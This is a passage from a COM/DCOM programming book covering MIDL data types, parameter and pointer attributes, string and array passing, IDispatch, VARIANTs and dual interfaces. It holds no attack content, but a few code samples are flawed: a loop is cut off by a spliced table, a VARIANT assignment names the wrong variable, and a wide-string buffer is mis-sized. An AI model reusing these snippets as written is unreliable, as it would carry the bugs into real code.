respectively. Note that the C++ type BOOL is 32 bits. MIDL handles it as an unsigned char. byte 8 May have unsigned values of 0-255. Bytes are con- sidered "opaque" which means MIDL doesn't make any assumptions about content. char 8 An unsigned 8 bit character. Range 0-255. int 32 or 16 An integer value. The size depends on the plat- form. On a 32 bit platform such as windows 95, int's are 32 bit long words. On 16 bit platforms they are 16 bit words. long 32 A long word. Can be signed or unsigned. The default is signed. short 16 A signed or unsigned number. hyper 64 A special 64 bit integer. float 32 A low precision floating point number. A float in C++. A 32 bit IEEE floating-point number. double 64 Equivalent to C++ double. A 64 bit IEEE floating- point number. wchar_t 16 Wide characters (Unicode). This type maps to an unsigned short. Table 8.1 MIDL’s base types Attributes 109 Additonal Information and Updates: http://www.iftech.com/dcom Attributes A basic IDL method definition looks something like this: HRESULT InCount( [in] long lCount ); All COM methods must be qualified with "in" or "out", or both. These are called "Directional" attributes, and they tell MIDL how it should marshal the data. The "[in]" attribute directs MIDL to generate code which will make a copy of the parameter and send it to the server. This is similar to "call by value" in C++, except the data is not copied to the stack. Instead, the marshaling code will pass the parameter to the proxy/stub DLL, which will package it to be copied to a server. If the server modifies the data, COM will not make any attempt to copy it back to the client. Out parameters are also "one-way" data. Here is an IDL method with an '[out]" parameter: HRESULT OutCount( [out] long *plCount ); Out parameters always have to be pointers. In this case, the server will fill in the pointer with the value of the count. This function isn't as simple as it seems - there are several important ambiguities here. Where is the pointer allocated? Can it be NULL? Attribute Usage in The parameter is only passed to the server. It is not returned. All parameters default to [in] if no directional attribute is specified. out The parameter is only returned from the client. It must be a pointer type. in,out The parameter is passed to and returned from the server. It must be a pointer. Table 8.2 COM Directional Attributes 110 Chapter 8 • Defining and Using Interfaces When working locally in C++, pointers are a very efficient way to pass data. By using pointers, C++ avoids passing large amounts of data. If you're using an in-proc server, this is still true - because an in-proc server is a DLL. If you're working with a local or remote server, the picture is entirely different. For remote objects, the use of pointers doesn't save very much. Both in and out parameters must be marshaled across the network. Passing pointers has just as high a cost in overhead. The client and server don't share the same address space, so all the data referenced by the pointer is copied. To allow more efficiency in transferring data, COM gives you several pointer attributes. There are three different types of COM pointer: ref, unique, and ptr. Attribute Usage ref • The parameter is a reference pointer. • A reference pointer can always be dereferenced. • The pointer (address) will never be changed during the call. • The pointer must always point to a valid location, and can never be NULL. • You cannot make a copy of this pointer (no aliasing). • The most efficient type of pointer. unique • The parameter is a unique pointer. • It can be NULL or changed to NULL. • The server can allocate or change the pointer (address). • Pointed-to object cannot change size. • You cannot make a copy of this pointer (no aliasing). ptr • The parameter is a full pointer. • It can be NULL or changed to NULL. • The server can allocate or change the pointer (address). • Aliasing is allowed. • Similar to a C++ pointer. • The least efficient type of pointer. retval • The parameter receives the return value of the method. • The parameter must have the [out] attribute and be a pointer. • Used in oleautomation interfaces. Table 8.3 COM Pointer Values Attributes 111 Additonal Information and Updates: http://www.iftech.com/dcom In the previous examples we didn't specify which type of pointer to use. The default pointer type for in parameters is "ref". This means the pointer references memory allocated on the cli- ent. This is the most restrictive type of pointer. The ref pointer is allocated on the client, and its address is passed to the server. Here's the full-blown version of the LongTest() method: STDMETHODIMP LongTest(long lIn, long * plOut) { if (plOut == NULL) return E_POINTER; *plOut = lIn + 10; return S_OK; } This method does not allocate any memory, which is consis- tent with a ref pointer. In this case the server method will add 10 to the in parameter and assign it to the out parameter. Since we're conscientious programmers, we added in some pointer checking. This isn't strictly necessary for this interface. If you did call LongTest with a NULL pointer, you'll get an error. The stub code would reject the call with an error of RPC_X_NULL_REF_POINTER - our method would never be called. If the pointer had been declared was unique or ptr, the NULL check would be important. Let's take a quick review of the code for this interface. MIDL DEFINITION HRESULT LongTest([in] long l, [out] long *pl); SERVER CODE STDMETHODIMP CBasicTypes::LongTest(long l, long * pl) { if (pl == NULL) return E_POINTER; *pl = l + 10; return S_OK; } 112 Chapter 8 • Defining and Using Interfaces CLIENT USAGE HRESULT hr; long l1=1; long l2=0; hr = pI->LongTest( l1, &l2 ); The client is then calling the LongTest() method. The out parameter "l2" is allocated on the local program's stack, and its address is passed to the server. When the call returns we would expect an HRESULT value of S_OK, and the value of pointer l2 to be eleven. Double Parameters What if we're using a double parameter? The code is almost identical for all the base types. Here's the IDL code for that inter- face. MIDL DEFINITION HRESULT DoubleTest([in] double d, [out] double *pd); SERVER CODE STDMETHODIMP CBasicTypes::DoubleTest(double d, double * pd) { if (pd == NULL) return E_POINTER; *pd = d + 10.0; return S_OK; } CLIENT USAGE HRESULT hr; double d1=1; double d2=0; hr = pI->DoubleTest( d1, &d2 ); Boolean Parameters 113 Additonal Information and Updates: http://www.iftech.com/dcom Boolean Parameters The IDL boolean type can be a little confusing. In IDL, boolean is a single byte. This makes sense in the context of COM, which needs to optimize communications by passing the smallest amount of data possible. Unfortunately, C++ defines a BOOL as a 32-bit longword. You have to take this size differential into account, either by using an IDL long, or by casting the parameter from BOOL to a single byte. Working with Strings There are three basic types of string allowed in MIDL. • char arrays. • Wide character strings. • BSTR. Visual BASIC style strings. The default string type for C++ is of course an array of 8-bit char's with a NULL terminator at the end. This type maps to the MIDL "unsigned char" type. There's little difference between arrays of signed and unsigned characters, and arrays of bytes. Any of these choices will work. If you're working with international software, you have to use "wide" 16 bit Unicode characters. There are several ways to define these in MIDL. The most common types used are "unsigned short" and "wchar_t". The MIDL wchar_t type has an identical type in C++. There are two attributes that are commonly used in associa- tion with MIDL strings. These are the string and size_is attribute. Character and Wide Character strings are arrays. The only thing that distinguishes an array from a character string is the NULL terminator at the end. The string attribute tells MIDL that it can determine the length of the string by searching for the NULL terminator. The generated code will automatically call the appro- priate strlen(), lstrlen(), or wcslen() function. The string attribute 114 Chapter 8 • Defining and Using Interfaces is not required for passing strings, you can use the size_is attribute to accomplish the same thing. Here are two examples of interfaces that use the string attribute to pass data to the server: MIDL DEFINITION HRESULT SzSend([in, string] unsigned char * s1); HRESULT WcharSend([in,string] wchar_t *s1); SERVER CODE STDMETHODIMP CStringTypes::SzSend(unsigned char * s1) { m_String = s1; return S_OK; } STDMETHODIMP CStringTypes::WcharSend(wchar_t *s1) { long len = wcslen(s1) * sizeof(wchar_t); m_pWide = new wchar_t[len+1]; // add 1 char for null wcscpy( m_pWide, s1 ); return S_OK; } CLIENT CODE char s1[] = "Null Terminated C String"; pI->SzSend( s1 ); wchar_t w1[] = L"This is Wide String"; pI->WcharSend( w1 ); Attribute Usage string An array of char, wchar_t, or byte. The array must be termi- nated by a null value. size_is() Specifies the number of elements in an array. This attribute is used to determine string array size at run time. Table 8.4 COM String Attributes Working with Strings 115 Additonal Information and Updates: http://www.iftech.com/dcom These interfaces offer a simple way to pass character strings to a server. This is one of the few cases where I would recom- mend using the string attribute. For [in,out] parameters, the string attribute can be dangerous. MIDL calculates the size of the trans- mission buffer based on the size of the input string. If the server passes back a larger string, the transmission buffer will be over- written. This type of interface can be extremely buggy. Sometimes we can't use NULL terminated strings. In these cases, you can explicitly specify the length of the string array. There are two methods of doing this. You can use a fixed length string, or you can use the size_is attribute. A fixed length array would look like this: MIDL DEFINITION HRESULT SzFixed([in] unsigned char s1[18]); SERVER CODE STDMETHODIMP CStringTypes::SzFixed(unsigned char s1[18]) { m_String = s1; return S_OK; } CLIENT CODE unsigned char sf[18]= "An 18 byte String"; pI->SzFixed( sf ); The Server definition would also require a fixed length dec- laration in the parameter. Unless you're passing a buffer that is always a fixed size, this is an inefficient way to design an inter- face. It's also quite easy to inadvertently overrun the boundaries of a fixed array (the classic mistake is to forget space for the NULL terminator.) A better way would be to specify the number of bytes at run-time. The size_is attribute tells the marshaling code exactly how many bytes are actually being passed. 116 Chapter 8 • Defining and Using Interfaces IDL will generate marshaling code to pass exactly the num- ber of bytes required. If you are dealing with NULL terminated [in] strings, this offers no advantages over using the "string" attribute. We'll see similar syntax when we examine IDL array types. Here's the server code to handle a string with an explicit size: MIDL DEFINITION HRESULT SzSized ([in] long llen, [in,size_is(llen)] unsigned char * s1); SERVER CODE HRESULT SzSized(long llen, unsigned char *s1) { char *buf = new char[llen+1];// temp buffer strncpy( buf, (char *)s1, llen );// copy string buf[llen]=NULL;// add null to end m_String = buf;// copy into CString delete[] buf;// delete temp return S_OK; } CLIENT CODE char s1[] = "Null Terminated C String"; pI->SzSized( strlen(s1), (unsigned char*)s1 ); The size_is attribute is often used when returning data in a string. The string pointer is given an [out] attribute, and its maxi- mum size is specified in the first parameter. In this example, the variable "len" specifies the size of the string being sent by the cli- ent. MIDL DEFINITION HRESULT SzRead([in] long len, [out,size_is(len)] char *s1); Working with Strings 117 Additonal Information and Updates: http://www.iftech.com/dcom SERVER CODE STDMETHODIMP SzRead(long len, unsigned char * s1) { strncpy( (char*)s1, m_String, len ); return S_OK; } CLIENT USAGE char s2[64]; pI->SzRead( sizeof(s2), s2 ); The server knows the maximum size of the return buffer, so it can ensure that it isn't overwritten. The problem here is that we're passing around a number of unused bytes. The len param- eter specifies how many bytes will be transferred, not how many are actually used. Even if the string were empty, all 64 bytes would still be copied. A better way to define this interface would be to allocate the string memory on the server side and pass it back to the client. To accomplish this we pass a NULL pointer to the server and allocate the buffer using CoTaskmemAlloc. This function allows the allocated memory to be marshaled back from the server to the client, and deleted by the client. The client will call CoTaskMemFree when it is finished with the pointer. Together these two functions are the COM equivalent of new and delete. MIDL DEFINITION HRESULT SzGetMessage([out,string] char **s1); SERVER CODE STDMETHODIMP CStringTypes::SzGetMessage(unsigned char ** s1) { char message[] = "Returned ABC 123"; long len = sizeof(message); 118 Chapter 8 • Defining and Using Interfaces *s1 = (unsigned char*)CoTaskMemAlloc( len ); if (*s1 == NULL) return E_OUTOFMEMORY; strcpy( (char*)*s1, message ); return S_OK; } CLIENT USEAGE char *ps=NULL; pI->SzGetMessage(&ps); // use the pointer CoTaskMemFree(ps); In this example we used the [string] attribute to determine the length of the string buffer. We could just as easily have used [size_is] and explicitly determined the buffer size. BSTR is a data structure that contains an array of characters, preceded by the string length. BSTR's are NULL terminated, but they aren't simple arrays. There can be several null terminators in a BSTR, but the last counted element in the array will always have a NULL terminator. If you're using dual or oleautomation interfaces, you will need to work with BSTR's. BSTR's are a difficult type to use in C++. You shouldn't try to manipulate them directly. Fortunately there are several helper classes and functions available. • SysAllocString, SysFreeString create and destroy BSTR's. • CString::AllocSysString and CString::SetSysString. • bstr_t encapsulates the BSTR class in C++ • The ATL CComBstr wrapper class. MIDL DEFINITION HRESULT BsSend([in] BSTR bs); HRESULT BsRead([out] BSTR *pbs); SERVER CODE BSTR m_BSTR; STDMETHODIMP CStringTypes::BsSend(BSTR bs) Arrays 119 Additonal Information and Updates: http://www.iftech.com/dcom { m_BSTR = bs;// save value in local return S_OK; } STDMETHODIMP CStringTypes::BsRead( BSTR *pbs) { CComBSTR temp; temp = m_BSTR; temp.Append( " Returned" ); *pbs = temp; return S_OK; } CLIENT USEAGE wchar_t tempw[] = L"This is a BSTR"; BSTR bs1 = SysAllocString(tempw); BSTR bs2; pI->BsSend( bs1 ); pI->BsRead( &bs2 ); Note that the string was first created as a wide character string (wchar_t), and then it was copied into the BSTR using SysAllocString(). This extra step is required to properly initialize the character count in the BSTR. You free the string with Sys- FreeString. MIDL strings are extremely simple to define. That's not to say they are easy to use. Passing strings and arrays across a COM interface can be frustrating. COM needs a lot of information about parameter lengths before they can be transmitted. When working with strings you need to pay particular attention to attributes. Arrays In many ways our discussion of strings covers the important issues concerning arrays; strings are a specialization of arrays. COM allows four basic types of arrays: Fixed, Conformant, vary- 120 Chapter 8 • Defining and Using Interfaces ing, and open. Arrays can be multi-dimensional, and have a set of special attributes associated with them. MIDL DEFINITION HRESULT TestFixed([in,out] long lGrid[10]); HRESULT TestConf([in] long lSize, [in,out,size_is(lSize)] long *lGrid); SERVER CODE STDMETHODIMP CArrayTypes::TestFixed(long lGrid[10]) { for( int i=0; i<10; i++) lGrid[i] = lGrid[i] + 10; return S_OK; } STDMETHODIMP CArrayTypes::TestConf(long lSize, long * lGrid) { for( int i=0; i<LSIZE; Attribute Usage Size_is(n) Specifies the number of elements in an array. This attribute is used to determine array size at run time. Max_is(n) Specifies the maximum index size of an array. The max- imum index value for the parameter is n-1. Length_is(n) Determines the number of array elements to be trans- mitted. This is not necessarily the same as the array size. Cannot be used with last_is. First_is(n) Determines the first array element to be transmitted. Last_is(n) Determines the last array element to be transmitted. Table 8.5 COM Array Attributes Structures and Enumerations 121 Additonal Information and Updates: http://www.iftech.com/dcom CLIENT CODE long arr[10]={0,1,2,3,4,5,6,7,8,9}; pI->TestFixed( arr ); pI->TestConf( 10, arr ); Varying arrays, and their close cousin open arrays allow the interface designer to have even more control over how data is transferred. By using the first_is, length_is, and last_is attributes, you can design the interface so that only modified data is mar- shaled and transmitted between the client and server. For large arrays, this makes it possible to transmit only those elements of an array that have been changed. Structures and Enumerations MIDL structures are almost identical to "C" language structures. Unlike the C++ struct, the MIDL type cannot contain methods - it's limited to data. A MIDL struct is similar to "C" language structs, which don't allow methods either. Here's a typical MIDL structure definition: typedef struct { long lval; double dval; short sval; BYTE bval; } TestStruct; The typedef and struct declarations work very similarly to their "C" counterpart. This is not to say it is an exact analog; like most of MIDL, it uses a limited subset of data types. You also can't use a struct in oleautomation or dual interfaces. You can define enumerated data types with a typedef state- ment: typedef enum { Red, Blue, Green } RGB_ENUM; 122 Chapter 8 • Defining and Using Interfaces Values start at 0 and are incremented from there. You can also explicitly assign values to enum's. MIDL handles enum's as unsigned shorts. This is incompatible with C++ which uses signed int's. If you want to be compatible with C++ use the v1_enum attribute. Here's an example using the standard MIDL 8 bit enumera- tion type. Note that we're giving the enumeration's explicit val- ues - that's not required. MIDL DEFINITION typedef enum {Red = 0,Green = 1,Blue = 2} RGB_ENUM; HRESULT EnumTest([in] RGB_ENUM e, [out] RGB_ENUM *pe); SERVER CODE STDMETHODIMP CBasicTypes::EnumTest(RGB_ENUM e, RGB_ENUM *pe) { if (pe == NULL) return E_POINTER; *pe = e; return S_OK; } CLIENT USAGE RGB_ENUM r1, r2; r1 = Blue; pI->EnumTest( r1, &r2 ); Note that the client knew about the definition of RGB_ENUM. MIDL will generate a definition of the enumeration in the project header, as well as the type library. Summary 123 Additonal Information and Updates: http://www.iftech.com/dcom Summary Much of the real "COM" programming you do will deal with call- ing methods and passing parameters. This task is a lot trickier than it first appears. In C++ this task can be almost seem trivial, but for components there is a lot you need to know. Fortunately, MIDL gives us tremendous control over this process. We've tried to give examples of all the most common data types and attributes. 124 Chapter 8 • Defining and Using Interfaces N I N E 9 OLE Automation and Dual Interfaces There's been a debate going on for years now about the merits of Visual Basic (VB) and C++. The C++ programmers insist that their tool offers the most powerful and efficient method of devel- oping Windows software. VB developers insist their tool is an easier and quicker way to develop applications. It's undeniable that Visual Basic is becoming ubiquitous - it's integrated in spreadsheets, word processors, databases, and even Microsoft Developer Studio. Add to this mix developers writing applications with Java, Delphi and scripting languages. Developers using all these tools need to access your COM components. To accomplish this cross-platform integration we're going to have to deal with IDispatch and the topic formerly known as "OLE Automation". Microsoft now prefers to call it ActiveX and COM, but OLE is lurking just under the surface. OLE itself is a big topic, and there is a plethora of books on the subject. To keep things manageable, we'll concentrate on the basic COM methods required to communicate with automation clients. Because you're reading this book, I can assume that you already know a lot about C++ programming. C++ is the native language of Windows, and offers an efficient and powerful way to access the Windows API. Regardless of its other merits, C++ is 126 Chapter 9 • Dual Interfaces an excellent tool for developing powerful server applications. To access these servers, COM is the communication method of choice. Visual Basic, Java, and scripting languages all share one design limitation. They don't offer native support of pointers. This limitation presents a fundamental incompatibility; COM is built around the concept of a VTABLE, which is really an array of function pointers. A client also needs to know the exact VTABLE layout of the server to call its methods. In C++ we use a header file, but it's only useful to other C++ programs. Obviously, we're going to have to do things a little differently to make COM objects available to a language like Visual Basic. There are two ways to use COM through a non-pointer lan- guage. The traditional method involves accessing COM through a special well-known interface called IDispatch. If the language itself knows how to use this interface, it automatically converts its syntax into calls to IDispatch. The more recent (and efficient) alternative is through a facility called type libraries. Type libraries provide detailed information on the COM interface, allowing the language to handle the details of calling the interface. Both of these techniques have advantages and disadvan- tages. In this chapter I will describe IDispatch and an alternative called dual interfaces. I'm going to present the client code in this chapter in Visual Basic. These examples were developed using Visual Basic version 6.0. IDL Definitions In MIDL, IDispatch interfaces are referred to with the [dual] and [oleautomation] attributes. These interfaces must inherit from the standard interface IDispatch. [ object, uuid(F7ADBF5B-8BCA-11D1-8155-000000000000), dual ] interface IVbTest : IDispatch The IDispatch Interface 127 Additonal Information and Updates: http://www.iftech.com/dcom This is a dual interface, which implements IDispatch through interface inheritance. The IDispatch Interface IDispatch is a special interface that is used to locate and call COM methods without knowing their definition. The way COM accomplishes this feat is quite complex, but extremely flexible. There are two ways to use IDispatch from a VB program: late binding and early binding. First let's look at late binding. IDispatch has four methods. Because the interface inherits from IUnknown (as all COM interfaces must), it also gets the required QueryInterface, AddRef, and Release. Remember that COM interfaces are immutable. This means all IDispatch inter- faces MUST define these methods. Binding refers to how a compiler or interpreter resolves references to COM objects. Late Binding • The client (Visual Basic) interpreter waits until the COM method is called before it checks the method. First, the object is queried for the ID of the method. Once this is determined, it calls the method through Invoke(). This behavior is automatic in Visual Basic and most interpreted (and macro) languages. If you want to do this in C++, it will take some programming. Late binding is very slow, but very flexible. Early Binding • The interpreter or compiler checks the method before the program runs. All the Dis- patch ID's are determined beforehand. The method is called through Invoke(). Early binding is much faster than late binding. It is also catches errors sooner. Very Early Binding • This is also known as Virtual Function Table, or VTABLE, binding. The client calls the COM methods directly without using Invoke(). A type library or header file is required. This is how almost all C++ programs access COM objects. This is the fastest type of binding. ID Binding • This can be thought as "manual" early binding. The programmer hard-codes, or caches, all the DISPID's and calls Invoke() directly. WHAT IS BINDING?................ 128 Chapter 9 • Dual Interfaces COM-compatible languages have built-in support for the IDispatch interface. Here's an example from VB: Dim Testobj As Object Set Testobj = CreateObject("VbTest.VbTest.1") Testobj.Beep (1000) Set testobj = Nothing This example isn't really very different from the way we do it in C++ using the #import directive. What is going on behind the scenes is quite a bit different. The first statement creates a generic object. A VB "Object" is generic and can contain any Visual Basic type, including a COM object. This is accomplished by using the VARIANT type, which we'll discuss later in this chapter. We use the CreateObject func- tion to look up the object in the registry and attach to the server. The string passed into CreateObject is the ProgID of the server. In this case, “VbTest.VbTest.1” is a name we chose to give our test server (more details on naming below). If the server wasn't properly registered or we typed in the wrong name, the Cre- ateObject call will fail with a run-time error. IDispatch method Description GetTypeInfoCount Returns the availability of type information. Returns 0 if none, 1 if type information is available. GetTypeInfo Retrieves type information about the interface, if avail- able. GetIDsOfNames Takes a method or property name, and returns a DISPID. Invoke Calls methods on the interface using the DISPID as an identifier. Table 9.1 Methods of Dispatch The IDispatch Interface 129 Additonal Information and Updates: http://www.iftech.com/dcom The call to the Beep method is straightforward to write, but the Basic interpreter has to do a lot of processing to make it hap- pen. Here's a summary of the steps: 1. Get the DISPID of the COM method named Beep 2. Build a parameter list. 3. Call Invoke, passing the DISPID and parameter list. VB calls the GetIDsOfNames function, passing in the name of the function. In this case, the function name is the string "Beep". GetIDsOfNames will look up the name and return the dispatch ID. Where does this ID come from? Let's look at the IDL definition of the method: [id(7), helpstring("method Beep")] HRESULT Beep([in] long lDuration); GetIDsOfNames will look up the string "Beep" internally and return a DISPID of "7". How does it find the DISPID? That depends on how the IDispatch interface is created. In our exam- ples we are using an interface created with ATL. ATL uses the class IDispatchImpl, which looks it up in the type library. When the MIDL compiler created the type library it included a map of all the function names and their DISPID's. In the OLE world there is a whole set of pre-defined DISPID's. These ID's have been mapped to standard properties of objects, such as fill color, text, and font. These pre-defined DISPID's all have negative numbers, and are defined in OLE- CTL.H. Once VB has the DISPID, it needs to build a list of parame- ters to send to Beep. In this case, there is only one parameter: an [in]long parameter. The problem here is that VB doesn't know how many parameters Beep takes, or what type they are. Build- ing parameter lists is actually a pretty complex operation. (If we use a type library, VB can get this information directly. See the section on early binding). A parameter list is contained in a Dispatch Parameter, or DISPPARAMS structure. This structure is defined in OAIDL.IDL as follows: 130 Chapter 9 • Dual Interfaces typedef struct tagDISPPARAMS { [size_is(cArgs)] VARIANTARG * rgvarg; [size_is(cNamedArgs)] DISPID * rgdispidNamedArgs; UINT cArgs; UINT cNamedArgs; } DISPPARAMS; If you would rather see the C++ header, it's in OAIDL.H and looks like this: typedef struct tagDISPPARAMS { VARIANTARG *rgvarg; DISPID *rgdispidNamedArgs; UINT cArgs; UINT cNamedArgs; }DISPPARAMS; The parameter list is packed up in a DISPPARAMS structure, each argument added to the VARIANTARG structure. As each argument is added to the structure, the counter (cArgs) is incre- mented. The member "*rgvarg" is essentially an array of VARIAN- TARG structures. OLE allows the use of what are called "Named" arguments. These arguments are identified by a nametag, and may be passed in any order. The handling of named arguments is taken care of by the implementation of Invoke. We're not going to be using named arguments here, but be aware of the possibility. A VARIANTARG is a VARIANT, which is a gigantic union of different data types. Here is an edited version of the definition from OAIDL.IDL. If you look in OAIDL.H, you'll see that it is cre- ated by running OAIDL.IDL through the MIDL compiler. //VARIANT STRUCTURE typedef VARIANT VARIANTARG; struct tagVARIANT { union { struct __tagVARIANT { VARTYPE vt; The IDispatch Interface 131 Additonal Information and Updates: http://www.iftech.com/dcom WORD wReserved1; WORD wReserved2; WORD wReserved3; union { LONG lVal; /*VT_I4*/ BYTE bVal; /*VT_UI1*/ SHORT iVal; /*VT_I2*/ FLOAT fltVal; /*VT_R4*/ DOUBLE dblVal; /*VT_R8*/ VARIANT_BOOL boolVal; /*VT_BOOL*/ _VARIANT_BOOL bool; /*(obsolete)*/ SCODE scode; /*VT_ERROR */ CY cyVal; /*VT_CY*/ DATE date; /*VT_DATE*/ BSTR bstrVal; /*VT_BSTR*/ IUnknown * punkVal; /*VT_UNKNOWN*/ IDispatch * pdispVal; /*VT_DISPATCH*/ SAFEARRAY * parray; /*VT_ARRAY*/ BYTE * pbVal; /*VT_BYREF|VT_UI1*/ SHORT * piVal; /*VT_BYREF|VT_I2*/ LONG * plVal; /*VT_BYREF|VT_I4*/ FLOAT * pfltVal; /*VT_BYREF|VT_R4*/ DOUBLE * pdblVal; /*VT_BYREF|VT_R8*/ VARIANT_BOOL *pboolVal; /*VT_BYREF|VT_BOOL*/ _VARIANT_BOOL *pbool; /*(obsolete)*/ SCODE * pscode; /*VT_BYREF|VT_ERROR*/ CY * pcyVal; /*VT_BYREF|VT_CY*/ DATE * pdate; /*VT_BYREF|VT_DATE*/ BSTR * pbstrVal; /*VT_BYREF|VT_BSTR*/ IUnknown ** ppunkVal; /*VT_BYREF|VT_UNKNOWN*/ IDispatch ** ppdispVal; / *VT_BYREF|VT_DISPATCH*/ SAFEARRAY ** pparray; /*VT_BYREF|VT_ARRAY*/ VARIANT * pvarVal; /*VT_BYREF|VT_VARIANT*/ PVOID byref; /*Generic ByRef*/ CHAR cVal; /*VT_I1*/ USHORT uiVal; /*VT_UI2*/ ULONG ulVal; /*VT_UI4*/ INT intVal; /*VT_INT*/ UINT uintVal; /*VT_UINT*/ DECIMAL * pdecVal; /*VT_BYREF|VT_DECIMAL*/ 132 Chapter 9 • Dual Interfaces CHAR * pcVal; /*VT_BYREF|VT_I1*/ USHORT * puiVal; /*VT_BYREF|VT_UI2*/ ULONG * pulVal; /*VT_BYREF|VT_UI4*/ INT * pintVal; /*VT_BYREF|VT_INT*/ UINT * puintVal; /*VT_BYREF|VT_UINT */ } __VARIANT_NAME_3; } __VARIANT_NAME_2; DECIMAL decVal; } __VARIANT_NAME_1; }; The actual variable stored will will correspond with its data type. The actual type of the variable is stored in the VT member. Each of the VT types is #defined to a number, for example VT_I4 has a value of 3. Because it's a union, the size of a VARIANT is at least the size of its largest member. The types allowed in a VARI- ANT are the only types you can pass to and from an IDispatch interface. Here's how you would put a long value into a VARIANT. You should be able to generalize this code to any of the types defined in the structure. VARIANT v; VariantInit(&v); v.vt = VT_I4; vt.lVal = 100; Variants are somewhat ungainly structures to work with in C++. Variants have their origin in Visual Basic with its notion of changeable data types and automatic type conversion. Tradition- ally Basic hasn't been a typed language, and Variants were used to store all variables. One of the strengths of C++ is strong type checking, so Variants are antithetical to good C++ programming practice. All parameters passed to Invoke will be packaged in this VARIANTARG structure. The next step in calling a method through IDispatch is the Invoke function. Using Invoke 133 Additonal Information and Updates: http://www.iftech.com/dcom Using Invoke An IDispatch interface calls its functions through the Invoke() method. Generally, the client programmer doesn't call any of the IDispatch methods directly. Visual Basic hides all its methods, including Invoke. If you need to call IDispatch methods from a C++ client, you're a lot better off going directly through a VTABLE. If you don't have a dual interface, building the parame- ter lists and calling Invoke is going to be a laborious task. We'll look at the Invoke method, even though I hope you won't have to use it directly. Here is the definition of Invoke from OAIDL.IDL. HRESULT Invoke( [in] DISPID dispIdMember, [in] REFIID riid, [in] LCID lcid, [in] WORD wFlags, [in, out] DISPPARAMS * pDispParams, [out] VARIANT * pVarResult, [out] EXCEPINFO * pExcepInfo, [out] UINT * puArgErr ); The DISPID of the requested function is given in the first parameter. This tells Invoke which method to call. The requested method's parameter list is passed in the "pDispParams" argu- ment. What happens if you call a method with an invalid parame- ter? The Basic interpreter won't catch your error, because it doesn't know enough to do so. The error is caught at run-time by the COM server itself. One of the functions of Invoke() is to check parameter lists. Invoke will try to convert the incorrect parameter if possible, and if not, it will return an error status. For example, if you called the Beep() method in Visual Basic with a string like this: Testobj.Beep ("1000") ' ok Testobj.Beep ("Hello" ) ' run-time error 134 Chapter 9 • Dual Interfaces Invoke() would convert the string "1000" into a number, and everything would work fine. When, however, you use a non- numeric string like "Hello", Invoke() doesn't know how to make the conversion. The function will fail with a VB run-time error 13, for "type mismatch". This ability to convert numbers can be dangerous. If you accidentally reverse the order of parameters, Invoke may be able to convert them anyway - giving unexpected results. The status of a function is returned in three ways: 1) through the HRESULT, 2) the pExcepInfo structure, and 3) in the pVarResult argument. Like all COM methods, severe failure will be returned as an HRESULT. Visual Basic doesn't use the return codes - the closest equivalent is the Err object. Invoke returns its error information in an EXECPINFO structure. typedef struct tagEXCEPINFO { WORD wCode; /*An error code*/ WORD wReserved; BSTR bstrSource; /*A source of the exception */ BSTR bstrDescription; /*A description of the error */ BSTR bstrHelpFile; /*Fully qualified drive, path, and file name*/ DWORD dwHelpContext; /*help context of topic within the help file */ ULONG pvReserved; ULONG pfnDeferredFillIn; SCODE scode; } EXCEPINFO; This structure looks amazingly like the Visual Basic "Err" object. Table 9.2 shows the properties of that object. The third type of returned data is in the pVarResult parame- ter of Invoke(). This data contains a user defined return value. What gets placed in here is determined by the [retval] attribute in the IDL code of the interface. Any parameter marked with [retval] is stuffed into a VARIANT and returned here. We'll see more of this when we look at property "get" functions. Using Invoke 135 Additonal Information and Updates: http://www.iftech.com/dcom If you need to work directly with Variants in C++ you should use the ATL CComVariant or “__variant_t” classes. There are also API-level functions, all starting with "Variant". Variants are very good at converting between data types. You can even make use of variants as a quick-and-dirty method of converting data types. A 'pure' IDispatch interface is only required to implement IUnknown, GetTypeInfoCount, GetTypeInfo, GetIDsOfNames, and Invoke. Note that the methods called by Invoke don't have to be COM methods. They can be implemented any way the pro- grammer wants because they aren't called by COM directly. Using these four methods, you can write a sever to do almost anything. As you can see, there is a lot of processing required to call a method through IDispatch. It all happens behind the scenes in VB so you are not aware of it, but it does take time. All that pro- Err Property Description Number An error code for the error. This is the default property for the object. Source Name of the current Visual Basic project. Description A string corresponding to the return of the Error function for the specified Number, if this string exists. If the string doesn't exist, Description contains "Application defined or object defined error." HelpFile The fully qualified drive, path, and file name of the Visual Basic Help file. HelpContext The Visual Basic Help file context ID for the error corre- sponding to the Number property. LastDLLError On 32-bit Microsoft Windows operating systems only, con- tains the system error code for the last call to a dynamic link library (DLL). The LastDLLError property is read only. Table 9.2 Error Properties in VB 136 Chapter 9 • Dual Interfaces cessing time means one thing: slow. There has to be a better way, and there is - type libraries and Early binding. Using Type Libraries for Early Binding Most clients don't need to use a pure IDispatch interface. In VB for example, you have extensive access to type information through type libraries. The type library defines a number of very important items: • Interfaces exposed by a server • Methods of an interface • Dispatch ID's of methods • Parameter list for methods • GUIDs • Data structures • Marshaling information The type library provides a complete description of the server's methods and capabilities. Using this information, the VB interpreter can provide more efficient access to the server. Here's how we would write our VB interface using the type library. First, you have to turn on object browsing for the VbTest object. Do this in the Tools/References... menu item of the VB editor. Find the server object in the list and check it on the list. This causes Visual Basic to open the type library for browsing. Warning - you won't be able to build the C++ server while VB has an open reference to it. If you need to make any changes, turn off browsing or close the project and rebuild your C++ project. We will only make two changes in the VB code. Instead of creating a generic object, we create a specific COM Object. VB will find the definition among its open references. First, we create the object with a specific object type. In the VB world this is also known as "hard typing." As objects become more common in the VB world, the practice is becoming more common. Dual Interfaces 137 Additonal Information and Updates: http://www.iftech.com/dcom Dim Testobj As VbTest “VbTest” is a name we assigned to our test server (more details on naming below). When we create the object we can specify it more concisely, in a format C++ programmers will find reassuringly familiar: Set Testobj = New VbTest 'early binding Syntactically early binding isn't very different. All the other references to the object will remain unchanged. (In our four-line program this isn't remarkable). The real difference is in how VB calls the methods of the Testobj object. It no longer needs to call GetIDsOfNames() to get the DISPID of the method. Visual Basic is using the Type library to get information about the Beep() method. It can find out about the required parameters and build a parameter list. It can also do all this before it calls the object, and without the over- head of communicating remotely with the object. Here's what's most interesting: VB isn't using Invoke to call Beep() anymore. The call goes directly through the COM VTABLE! VB is figuring out the pointers of the VTABLE without the VB programmer even knowing they're using pointers. Dual Interfaces Dual interfaces can be called both through VTABLE pointers and from interpreted languages via IDispatch. Actually, I've been using dual interfaces in my examples all along. If you aren't familiar with old-style OLE IDispatch imple- mentations, dual interfaces may seem trivial. If you're working with ATL, it's extremely easy to create a dual interface. Back in the old days with MFC-based COM, this wasn't the case - it took a considerable programming effort to build a dual interface. This approach would have required, for example, that we implement all the object's methods inside Invoke. 138 